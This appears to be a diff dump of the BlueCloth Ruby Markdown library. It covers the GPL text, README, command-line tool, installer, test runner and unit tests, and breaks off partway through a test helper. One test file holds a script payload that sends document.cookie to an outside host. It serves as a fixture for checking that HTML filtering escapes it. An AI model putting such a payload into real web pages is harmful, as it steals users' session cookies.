patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.

View file

@ -1,99 +0,0 @@
BlueCloth
=========
Version 1.0.0 - 2004/08/24
Original version by John Gruber <http://daringfireball.net/>.
Ruby port by Michael Granger <http://www.deveiate.org/>.
BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion
tool for web writers. To quote from the project page: Markdown allows you to
write using an easy-to-read, easy-to-write plain text format, then convert it to
structurally valid XHTML (or HTML).
It borrows a naming convention and several helpings of interface from
[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML
conversion syntax called [Textile][4].
Installation
------------
You can install this module either by running the included `install.rb` script,
or by simply copying `lib/bluecloth.rb` to a directory in your load path.
Dependencies
------------
BlueCloth uses the `StringScanner` class from the `strscan` library, which comes
with Ruby 1.8.x and later or may be downloaded from the RAA for earlier
versions, and the `logger` library, which is also included in 1.8.x and later.
Example Usage
-------------
The BlueCloth class is a subclass of Ruby's String, and can be used thusly:
bc = BlueCloth::new( str )
puts bc.to_html
This `README` file is an example of Markdown syntax. The sample program
`bluecloth` in the `bin/` directory can be used to convert this (or any other)
file with Markdown syntax into HTML:
$ bin/bluecloth README > README.html
Acknowledgements
----------------
This library is a port of the canonical Perl one, and so owes most of its
functionality to its author, John Gruber. The bugs in this code are most
certainly an artifact of my porting it and not an artifact of the excellent code
from which it is derived.
It also, as mentioned before, borrows its API liberally from RedCloth, both for
compatibility's sake, and because I think Why's code is beautiful. His excellent
code and peerless prose have been an inspiration to me, and this module is
intended as the sincerest flattery.
Also contributing to any success this module may enjoy are those among my peers
who have taken the time to help out, either by submitting patches, testing, or
offering suggestions and review:
* Martin Chase <stillflame@FaerieMUD.org>
* Florian Gross <flgr@ccan.de>
Author/Legal
------------
Original version:
Copyright (c) 2003-2004 John Gruber
<http://daringfireball.net/>
All rights reserved.
Ruby version:
Copyright (c) 2004 The FaerieMUD Consortium
BlueCloth is free software; you can redistribute it and/or modify it under the
terms of the GNU General Public License as published by the Free Software
Foundation; either version 2 of the License, or (at your option) any later
version.
BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE. See the GNU General Public License for more details.
[1]: http://daringfireball.net/projects/markdown/
[2]: http://www.whytheluckystiff.net/ruby/redcloth/
[3]: http://www.whytheluckystiff.net/
[4]: http://www.textism.com/tools/textile/
$Id: README,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $

View file

@ -1,83 +0,0 @@
#!/usr/bin/ruby
#
# = bluecloth
#
# Format one or more text files with the markdown formatter.
#
# = Synopsis
#
# bluecloth [OPTIONS] [FILES]
#
#
#
BEGIN {
require 'bluecloth'
require 'optparse'
}
DocumentWrapper = %{
<html>
<head><title>%s</title></head>
<body>
%s
</body>
</html>
}
def main
fragment = false
destination = '.'
ARGV.options do |oparser|
oparser.banner = "Usage: #$0 [OPTIONS] FILES"
# Debug mode
oparser.on( "--debug", "-d", TrueClass, "Turn debugging output on" ) {
$DEBUG = true
}
# 'Fragment' mode
oparser.on( "--fragment", "-f", TrueClass,
"Output HTML fragments instead of whole documents" ) {
fragment = true
}
# Output destination
#oparser.on( "--output=DESTINATION", "-o DESTINATION", String,
# "Write output to DESTINATION instead of the current directory" ) {|arg|
# destination = arg
#}
oparser.parse!
end
# Filter mode if no arguments
ARGV.push( "-" ) if ARGV.empty?
ARGV.each {|file|
if file == '-'
contents = $stdin.readlines(nil)
else
contents = File::readlines( file, nil )
end
bc = BlueCloth::new( contents.join )
if fragment
$stdout.puts bc.to_html
else
$stdout.puts DocumentWrapper % [ file, bc.to_html ]
end
}
rescue => err
$stderr.puts "Aborting: Fatal error: %s" % err.message
exit 255
end
main

View file

@ -1,150 +0,0 @@
#!/usr/bin/ruby
#
# BlueCloth Module Install Script
# $Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# Thanks to Masatoshi SEKI for ideas found in his install.rb.
#
# Copyright (c) 2001-2004 The FaerieMUD Consortium.
#
# This is free software. You may use, modify, and/or redistribute this
# software under the terms of the Perl Artistic License. (See
# http://language.perl.com/misc/Artistic.html)
#
require './utils.rb'
include UtilityFunctions
require 'rbconfig'
include Config
require 'find'
require 'ftools'
$version = %q$Revision: 1.1 $
$rcsId = %q$Id: install.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
# Define required libraries
RequiredLibraries = [
# libraryname, nice name, RAA URL, Download URL
[ 'strscan', "StrScan",
'http://raa.ruby-lang.org/list.rhtml?name=strscan',
'http://i.loveruby.net/archive/strscan/strscan-0.6.7.tar.gz' ],
[ 'logger', "Devel-Logger",
'http://raa.ruby-lang.org/list.rhtml?name=devel-logger',
'http://rrr.jin.gr.jp/download/devel-logger-1_2_2.tar.gz' ],
]
class Installer
@@PrunePatterns = [
/CVS/,
/~$/,
%r:(^|/)\.:,
/\.tpl$/,
]
def initialize( testing=false )
@ftools = (testing) ? self : File
end
### Make the specified dirs (which can be a String or an Array of Strings)
### with the specified mode.
def makedirs( dirs, mode=0755, verbose=false )
dirs = [ dirs ] unless dirs.is_a? Array
oldumask = File::umask
File::umask( 0777 - mode )
for dir in dirs
if @ftools == File
File::mkpath( dir, $verbose )
else
$stderr.puts "Make path %s with mode %o" % [ dir, mode ]
end
end
File::umask( oldumask )
end
def install( srcfile, dstfile, mode=nil, verbose=false )
dstfile = File.catname(srcfile, dstfile)
unless FileTest.exist? dstfile and File.cmp srcfile, dstfile
$stderr.puts " install #{srcfile} -> #{dstfile}"
else
$stderr.puts " skipping #{dstfile}: unchanged"
end
end
public
def installFiles( src, dstDir, mode=0444, verbose=false )
directories = []
files = []
if File.directory?( src )
Find.find( src ) {|f|
Find.prune if @@PrunePatterns.find {|pat| f =~ pat}
next if f == src
if FileTest.directory?( f )
directories << f.gsub( /^#{src}#{File::Separator}/, '' )
next
elsif FileTest.file?( f )
files << f.gsub( /^#{src}#{File::Separator}/, '' )
else
Find.prune
end
}
else
files << File.basename( src )
src = File.dirname( src )
end
dirs = [ dstDir ]
dirs |= directories.collect {|d| File.join(dstDir,d)}
makedirs( dirs, 0755, verbose )
files.each {|f|
srcfile = File.join(src,f)
dstfile = File.dirname(File.join( dstDir,f ))
if verbose
if mode
$stderr.puts "Install #{srcfile} -> #{dstfile} (mode %o)" % mode
else
$stderr.puts "Install #{srcfile} -> #{dstfile}"
end
end
@ftools.install( srcfile, dstfile, mode, verbose )
}
end
end
if $0 == __FILE__
header "BlueCloth Installer #$version"
for lib in RequiredLibraries
testForRequiredLibrary( *lib )
end
viewOnly = ARGV.include? '-n'
verbose = ARGV.include? '-v'
debugMsg "Sitelibdir = '#{CONFIG['sitelibdir']}'"
sitelibdir = CONFIG['sitelibdir']
debugMsg "Sitearchdir = '#{CONFIG['sitearchdir']}'"
sitearchdir = CONFIG['sitearchdir']
message "Installing\n"
i = Installer.new( viewOnly )
i.installFiles( "lib", sitelibdir, 0444, verbose )
end

File diff suppressed because it is too large Load diff

View file

@ -1,117 +0,0 @@
#!/usr/bin/ruby
#
# Test suite for BlueCloth classes
# $Id: test.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
BEGIN {
$basedir = File::dirname( __FILE__ )
["lib", "tests", "redist"].each do |subdir|
$LOAD_PATH.unshift File::join( $basedir, subdir )
end
require "#{$basedir}/utils"
include UtilityFunctions
}
verboseOff {
require 'bctestcase'
require 'find'
require 'test/unit'
require 'test/unit/testsuite'
require 'test/unit/ui/console/testrunner'
require 'optparse'
}
# Turn off output buffering
$stderr.sync = $stdout.sync = true
$DebugPattern = nil
# Initialize variables
safelevel = 0
patterns = []
requires = []
# Parse command-line switches
ARGV.options {|oparser|
oparser.banner = "Usage: #$0 [options] [TARGETS]\n"
oparser.on( "--debug[=PATTERN]", "-d[=PATTERN]", String,
"Turn debugging on (for tests which match PATTERN)" ) {|arg|
if arg
$DebugPattern = Regexp::new( arg )
puts "Turned debugging on for %p." % $DebugPattern
else
$DEBUG = true
debugMsg "Turned debugging on globally."
end
}
oparser.on( "--verbose", "-v", TrueClass, "Make progress verbose" ) {
$VERBOSE = true
debugMsg "Turned verbose on."
}
# Handle the 'help' option
oparser.on( "--help", "-h", "Display this text." ) {
$stderr.puts oparser
exit!(0)
}
oparser.parse!
}
# Parse test patterns
ARGV.each {|pat| patterns << Regexp::new( pat, Regexp::IGNORECASE )}
$stderr.puts "#{patterns.length} patterns given on the command line"
### Load all the tests from the tests dir
Find.find("#{$basedir}/tests") {|file|
Find.prune if /\/\./ =~ file or /~$/ =~ file
Find.prune if /TEMPLATE/ =~ file
next if File.stat( file ).directory?
unless patterns.empty?
Find.prune unless patterns.find {|pat| pat =~ file}
end
debugMsg "Considering '%s': " % file
next unless file =~ /\.tests.rb$/
debugMsg "Requiring '%s'..." % file
require "#{file}"
requires << file
}
$stderr.puts "Required #{requires.length} files."
unless patterns.empty?
$stderr.puts "[" + requires.sort.join( ", " ) + "]"
end
# Build the test suite
class BlueClothTests
class << self
def suite
suite = Test::Unit::TestSuite.new( "BlueCloth" )
if suite.respond_to?( :add )
ObjectSpace.each_object( Class ) {|klass|
suite.add( klass.suite ) if klass < BlueCloth::TestCase
}
else
ObjectSpace.each_object( Class ) {|klass|
suite << klass.suite if klass < BlueCloth::TestCase
}
end
return suite
end
end
end
# Run tests
$SAFE = safelevel
Test::Unit::UI::Console::TestRunner.new( BlueClothTests ).start

View file

@ -1,71 +0,0 @@
#!/usr/bin/ruby
#
# Unit test for the BlueCloth class object
# $Id: 00_Class.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# Copyright (c) 2004 The FaerieMUD Consortium.
#
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
basedir = File::dirname( __FILE__ )
require File::join( basedir, 'bctestcase' )
end
### This test case tests ...
class BlueClothClassTestCase < BlueCloth::TestCase
TestString = "foo"
def test_00_class_constant
printTestHeader "BlueCloth: Class Constant"
assert Object::constants.include?( "BlueCloth" ),
"No BlueCloth constant in Object"
assert_instance_of Class, BlueCloth
end
def test_01_instantiation
printTestHeader "BlueCloth: Instantiation"
rval = nil
# With no argument... ("")
assert_nothing_raised {
rval = BlueCloth::new
}
assert_instance_of BlueCloth, rval
assert_kind_of String, rval
assert_equal "", rval
# String argument
assert_nothing_raised {
rval = BlueCloth::new TestString
}
assert_instance_of BlueCloth, rval
assert_kind_of String, rval
assert_equal TestString, rval
addSetupBlock {
debugMsg "Creating a new BlueCloth"
@obj = BlueCloth::new( TestString )
}
addTeardownBlock {
@obj = nil
}
end
def test_02_duplication
printTestHeader "BlueCloth: Duplication"
rval = nil
assert_nothing_raised {
rval = @obj.dup
}
assert_instance_of BlueCloth, rval
assert_kind_of String, rval
assert_equal TestString, rval
end
end

File diff suppressed because it is too large Load diff

View file

@ -1,57 +0,0 @@
#!/usr/bin/ruby
#
# Unit test for bugs found in BlueCloth
# $Id: 10_Bug.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# Copyright (c) 2004 The FaerieMUD Consortium.
#
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
basedir = File::dirname( __FILE__ )
require File::join( basedir, 'bctestcase' )
end
require 'timeout'
### This test case tests ...
class BugsTestCase < BlueCloth::TestCase
BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
### Test to be sure the README file can be transformed.
def test_00_slow_block_regex
contents = File::read( File::join(BaseDir,"README") )
bcobj = BlueCloth::new( contents )
assert_nothing_raised {
timeout( 2 ) do
bcobj.to_html
end
}
end
### :TODO: Add more documents and test their transforms.
def test_10_regexp_engine_overflow_bug
contents = File::read( File::join(BaseDir,"tests/data/re-overflow.txt") )
bcobj = BlueCloth::new( contents )
assert_nothing_raised {
bcobj.to_html
}
end
def test_15_regexp_engine_overflow_bug2
contents = File::read( File::join(BaseDir,"tests/data/re-overflow2.txt") )
bcobj = BlueCloth::new( contents )
assert_nothing_raised {
bcobj.to_html
}
end
end
__END__

View file

@ -1,132 +0,0 @@
#!/usr/bin/ruby
#
# Unit test for contributed features
# $Id: 15_Contrib.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# Copyright (c) 2004 The FaerieMUD Consortium.
#
if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
basedir = File::dirname( __FILE__ )
require File::join( basedir, 'bctestcase' )
end
### This test case tests ...
class ContribTestCase < BlueCloth::TestCase
DangerousHtml =
"<script>document.location='http://www.hacktehplanet.com" +
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
DangerousHtmlOutput =
"<p>&lt;script&gt;document.location='http://www.hacktehplanet.com" +
"/cgi-bin/cookie.cgi?' + document.cookie&lt;/script&gt;</p>"
DangerousStylesOutput =
"<script>document.location='http://www.hacktehplanet.com" +
"/cgi-bin/cookie.cgi?' + document.cookie</script>"
NoLessThanHtml = "Foo is definitely > than bar"
NoLessThanOutput = "<p>Foo is definitely &gt; than bar</p>"
### HTML filter options contributed by Florian Gross.
### Test the :filter_html restriction
def test_10_filter_html
printTestHeader "filter_html Option"
rval = bc = nil
# Test as a 1st-level param
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, :filter_html )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_html }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_styles }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousHtmlOutput, rval
# Test setting it in a sub-array
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, [:filter_html] )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_html }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_styles }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousHtmlOutput, rval
end
### Test the :filter_styles restriction
def test_20_filter_styles
printTestHeader "filter_styles Option"
rval = bc = nil
# Test as a 1st-level param
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, :filter_styles )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_styles }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_html }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousStylesOutput, rval
# Test setting it in a subarray
assert_nothing_raised {
bc = BlueCloth::new( DangerousHtml, [:filter_styles] )
}
assert_instance_of BlueCloth, bc
# Accessors
assert_nothing_raised { rval = bc.filter_styles }
assert_equal true, rval
assert_nothing_raised { rval = bc.filter_html }
assert_equal nil, rval
# Test rendering with filters on
assert_nothing_raised { rval = bc.to_html }
assert_equal DangerousStylesOutput, rval
end
### Test to be sure filtering when there's no opening angle brackets doesn't
### die.
def test_30_filter_no_less_than
printTestHeader "filter without a less-than"
rval = bc = nil
# Test as a 1st-level param
assert_nothing_raised {
bc = BlueCloth::new( NoLessThanHtml, :filter_html )
}
assert_instance_of BlueCloth, bc
assert_nothing_raised { rval = bc.to_html }
assert_equal NoLessThanOutput, rval
end
end

View file

@ -1,274 +0,0 @@
#!/usr/bin/ruby
#
# This is an abstract test case class for building Test::Unit unit tests for the
# BlueCloth module. It consolidates most of the maintenance work that must be
# done to build a test file by adjusting the $LOAD_PATH appropriately, as well
# as adding some other useful methods that make building, maintaining, and using
# the tests for programming much easier (IMHO). See the docs for Test::Unit for
# more info on the particulars of unit testing.
#
# == Synopsis
#
# # Allow the test to be run from anywhere:
# if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase )
# basedir = File::dirname( __FILE__ )
# require File::join( basedir, 'bctestcase' )
# end
#
# class MySomethingTest < BlueCloth::TestCase
# def setup
# super()
# @foo = 'bar'
# end
#
# def test_00_something
# obj = nil
# assert_nothing_raised { obj = MySomething::new }
# assert_instance_of MySomething, obj
# assert_respond_to :myMethod, obj
# end
#
# end
#
# == Rcsid
#
# $Id: bctestcase.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $
#
# == Authors
#
# * Michael Granger <ged@FaerieMUD.org>
#
#:include: COPYRIGHT
#
#---
#
# Please see the file COPYRIGHT in the 'docs' directory for licensing details.
#
$DebugPattern ||= nil
begin
basedir = File::dirname( File::dirname(__FILE__) )
unless $LOAD_PATH.include?( "#{basedir}/lib" )
$LOAD_PATH.unshift "#{basedir}/lib"
end
end
require "test/unit"
require "bluecloth"
class BlueCloth
### The abstract base class for BlueCloth test cases.
class TestCase < Test::Unit::TestCase
@methodCounter = 0
@setupBlocks = []
@teardownBlocks = []
class << self
attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
end
### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
### and accessors to the inheriting class.
def self::inherited( klass )
klass.module_eval {
@setupBlocks = []
@teardownBlocks = []
class << self
attr_accessor :setupBlocks, :teardownBlocks
end
}
klass.methodCounter = 0
end
### Output the specified <tt>msgs</tt> joined together to
### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
def self::debugMsg( *msgs )
return unless $DEBUG
self.message "DEBUG>>> %s" % msgs.join('')
end
### Output the specified <tt>msgs</tt> joined together to
### <tt>STDOUT</tt>.
def self::message( *msgs )
$stderr.puts msgs.join('')
$stderr.flush
end
### Add a setup block for the current testcase
def self::addSetupBlock( &block )
self.methodCounter += 1
newMethodName = "setup_#{self.methodCounter}".intern
define_method( newMethodName, &block )
self.setupBlocks.push newMethodName
end
### Add a teardown block for the current testcase
def self::addTeardownBlock( &block )
self.methodCounter += 1
newMethodName = "teardown_#{self.methodCounter}".intern
define_method( newMethodName, &block )
self.teardownBlocks.unshift newMethodName
end
#############################################################
### I N S T A N C E M E T H O D S
#############################################################
### A dummy test method to allow this Test::Unit::TestCase to be
### subclassed without complaining about the lack of tests.
def test_0_dummy
end
### Forward-compatibility method for namechange in Test::Unit
def setup( *args )
self.class.setupBlocks.each {|sblock|
debugMsg "Calling setup block method #{sblock}"
self.send( sblock )
}
super( *args )
end
alias_method :set_up, :setup
### Forward-compatibility method for namechange in Test::Unit
def teardown( *args )
super( *args )
self.class.teardownBlocks.each {|tblock|
debugMsg "Calling teardown block method #{tblock}"
self.send( tblock )
}
end
alias_method :tear_down, :teardown
### Skip the current step (called from #setup) with the +reason+ given.
def skip( reason=nil )
if reason
msg = "Skipping %s: %s" % [ @method_name, reason ]
else
msg = "Skipping %s: No reason given." % @method_name
end
$stderr.puts( msg ) if $VERBOSE
@method_name = :skipped_test
end
def skipped_test # :nodoc:
end
### Add the specified +block+ to the code that gets executed by #setup.
def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
### Add the specified +block+ to the code that gets executed by #teardown.
def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
### Instance alias for the like-named class method.
def message( *msgs )
self.class.message( *msgs )
end
### Instance alias for the like-named class method
def debugMsg( *msgs )
self.class.debugMsg( *msgs )
end
### Output a separator line made up of <tt>length</tt> of the specified
### <tt>char</tt>.
def writeLine( length=75, char="-" )
$stderr.puts "\r" + (char * length )
end
### Output a header for delimiting tests
def printTestHeader( desc )
return unless $VERBOSE || $DEBUG
message ">>> %s <<<" % desc
end
### Try to force garbage collection to start.
def collectGarbage
a = []
1000.times { a << {} }
a = nil
GC.start
end
### Output the name of the test as it's running if in verbose mode.
def run( result )
$stderr.puts self.name if $VERBOSE || $DEBUG
# Support debugging for individual tests
olddb = nil
if $DebugPattern && $DebugPattern =~ @method_name
olddb = $DEBUG
$DEBUG = true
end
super
$DEBUG = olddb unless olddb.nil?
end
#############################################################
### E X T R A A S S E R T I O N S
#############################################################
### Negative of assert_respond_to
def assert_not_respond_to( obj, meth )
msg = "%s expected NOT to respond to '%s'" %
[ obj.inspect, meth ]
assert_block( msg ) {
!obj.respond_to?( meth )
}
end
### Assert that the instance variable specified by +sym+ of an +object+
